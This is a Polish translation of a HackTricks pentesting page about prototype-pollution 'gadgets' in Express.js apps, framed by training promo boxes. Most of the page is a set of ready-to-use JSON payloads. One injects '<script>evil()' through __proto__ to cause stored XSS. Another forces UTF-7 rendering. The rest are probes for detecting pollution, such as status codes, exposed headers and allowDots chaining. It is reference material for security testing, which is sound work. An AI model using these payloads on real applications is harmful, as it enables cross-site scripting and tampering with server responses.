Gadżety Zanieczyszczenia Prototypu Express

Reading time: 4 minutes

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks

Serwuj odpowiedzi XSS

Aby uzyskać więcej szczegółów zobacz oryginalne badania

Zmień typ zawartości JSON na HTML

W aplikacji Express używającej odpowiedzi z typem zawartości JSON i odzwierciedlającej JSON:

javascript
app.use(bodyParser.json({ type: "application/json" }))
app.post("/", function (req, res) {
_.merge({}, req.body)
res.send(req.body)
})

W tych przypadkach XSS nie jest zazwyczaj możliwe z typem treści JSON. Jednak dzięki zanieczyszczeniu prototypu możemy zmylić Express, aby zwrócił odpowiedź HTML. Ta podatność opiera się na tym, że aplikacja używa res.send(obj) i korzysta z parsera treści z typem treści application/json.

json
{ "__proto__": { "_body": true, "body": "<script>evil()" } }

Poprzez zanieczyszczenie właściwości body i _body, możliwe jest spowodowanie, że Express będzie serwować typ zawartości HTML i odzwierciedli właściwość _body, co skutkuje przechowywanym XSS.

Render UTF7

Możliwe jest, aby express renderował zawartość UTF-7 za pomocą:

json
{ "__proto__": { "content-type": "application/json; charset=utf-7" } }

Bezpieczne techniki skanowania

Przestrzenie JSON

Poniższy PP spowoduje, że atrybuty wewnątrz JSON będą miały dodatkową przestrzeń, co nie wpłynie na funkcjonalność:

json
{ "__proto__": { "json spaces": " " } }

Wtedy odzwierciedlony JSON będzie wyglądać następująco:

json
{"foo":  "bar"} -- Note the extra space

Exposed Headers

Następujący gadżet PP spowoduje, że serwer wyśle nagłówek HTTP: Access-Control-Expose_headers: foo

json
{ "__proto__": { "exposedHeaders": ["foo"] } }

Wymaga to zainstalowania modułu CORS

Metoda OPTIONS

Za pomocą poniższego ładunku możliwe jest ukrycie metody w odpowiedzi OPTIONS:

javascript
// Original reponse: POST,GET,HEAD

// Payload:
{"__proto__":{"head":true}}

//New response: POST;GET

Status

Możliwe jest zmienienie zwracanego kodu statusu za pomocą następującego ładunku PP:

json
{ "__proto__": { "status": 510 } }

Błąd

Kiedy przypisujesz do prototypu z prymitywem, takim jak ciąg, produkuje to operację no-op, ponieważ prototyp musi być obiektem. Jeśli spróbujesz przypisać obiekt prototypu do samego Object.prototype, to wyrzuci wyjątek. Możemy użyć tych dwóch zachowań do wykrycia, czy zanieczyszczenie prototypu było udane:

javascript
;({}).__proto__.__proto__ = {}(
//throws type exception
{}
).__proto__.__proto__ = "x" //no-op does not throw exception

Reflected Value

Kiedy aplikacja dołącza obiekt do swojej odpowiedzi, stworzenie atrybutu o nietypowej nazwie obok __proto__ może być pouczające. W szczególności, jeśli tylko nietypowy atrybut jest zwracany w odpowiedzi, może to wskazywać na podatność aplikacji:

json
{ "unusualName": "value", "__proto__": "test" }

Ponadto, w scenariuszach, w których używana jest biblioteka taka jak Lodash, ustawienie właściwości zarówno za pomocą zanieczyszczenia prototypu (PP), jak i bezpośrednio w obiekcie, oferuje inne podejście diagnostyczne. Jeśli taka właściwość jest pomijana w odpowiedzi, sugeruje to, że Lodash weryfikuje istnienie właściwości w docelowym obiekcie przed scaleniem:

javascript
{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash

Różne

Zezwól na kropki

Istnieje opcja w Express, która pozwala na tworzenie obiektów z parametrów ciągu zapytania.
Możesz to zdecydowanie wykorzystać w łańcuchu błędów, aby wykorzystać wrażliwość na zanieczyszczenie prototypu.

json
{ "__proto__": { "allowDots": true } }

?foo.bar=baz tworzy obiekt w Node.

Odniesienia

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks